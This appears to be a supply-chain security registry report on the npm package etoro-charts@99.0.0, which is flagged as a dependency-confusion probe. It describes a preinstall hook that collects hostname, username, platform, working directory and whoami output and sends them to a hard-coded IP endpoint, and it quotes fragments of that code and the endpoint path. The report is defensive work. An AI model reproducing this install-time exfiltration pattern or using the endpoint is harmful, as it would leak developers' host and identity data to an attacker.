registry / Data exfiltration / etoro-charts

etoro-charts

Internal service client library

This report shows the evidence for etoro-charts@99.0.0. 2 of 2 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is concrete, unconsented install-time system profiling and data exfiltration to an unrelated hard-coded endpoint. The empty runtime export does not justify the lifecycle behavior.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation

Impact

Leaks the installing user's username, host identity, working directory, platform, and command output to an external server.

Mechanism

install-time host reconnaissance and HTTP exfiltration

Attack narrative

On npm installation, package.json invokes preinstall.js. The script collects hostname, username, platform, and the consumer working directory and transmits them to a hard-coded IP address. It then runs whoami, id, and hostname discovery commands and posts the resulting output to the same server. The hook suppresses failures, so the package installation continues after attempted collection.

AI rationale

This is concrete, unconsented install-time system profiling and data exfiltration to an unrelated hard-coded endpoint. The empty runtime export does not justify the lifecycle behavior.

Evidence

package.jsonpreinstall.js

Network endpoints2

209.126.81.147/etoro-nuget-verify1f8eaa57a875/npm/v2/${h}/${u}/${p}/${c}209.126.81.147

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook runs automatically during npm installation.
The hook sends hostname, username, platform, and current working directory to a hard-coded external IP address.
The hook executes identity and host-discovery commands, then posts their output to that IP address.

Evidence against

index.js only exports an empty object and adds no application behavior.

Behavioral surface

Source

ChildProcessNetworkShell

Supply chain

UrlStrings

Manifest

NoLicense

scanned 2 file(s), 956 B of source, external domains: 209.126.81.147

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

The preinstall hook runs automatically during npm installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

1const os = require('os'); L2: const http = require('http'); L3: const { execSync } = require('child_process'); L4: L5: const h = os.hostname(); L6: const u = os.userInfo().username; ... L20: } L21: const data = Buffer.from(whoami); L22: const req = http.request({ ... L28: }); L29: req.write(data); L30: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

preinstall.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

preinstall.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = etoro-auth@99.0.0 matchedPath = preinstall.js matchedIdentity = npm:ZXRvcm8tYXV0aA:99.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

preinstall.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = fa386b0a3048f4b8 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = etoro-auth@99.0.0 matchedPath = preinstall.js matchedIdentity = npm:ZXRvcm8tYXV0aA:99.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

preinstall.jsView on unpkg

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node preinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "preinstall": "node preinstall.js || true" }

High

Suspicious Lifecycle Evidence

The preinstall hook runs automatically during npm installation.

package.jsonView on unpkg · L6

•scripts.preinstall = node preinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

preinstall.jsView file

Findings

6 High3 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpreinstall.js

HighSandbox Evasion Gated Capabilitypreinstall.js

HighKnown Malware Source Similaritypreinstall.js

HighKnown Malware Source Fingerprint Signaturepreinstall.js

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to etoro-charts@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing etoro-charts@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-11 18:45:05.123Z (UTC).

Source advisory published: 2026-09-10 04:43:46.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

99.0.0latestshownMaliciousData ExfiltrationBlockPublishedSep 11, 2026, 1:37 PM 999.0.0MaliciousMalwareBlockPublishedSep 10, 2026, 4:02 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Source & flagged code

Related packages

Other data exfiltration packages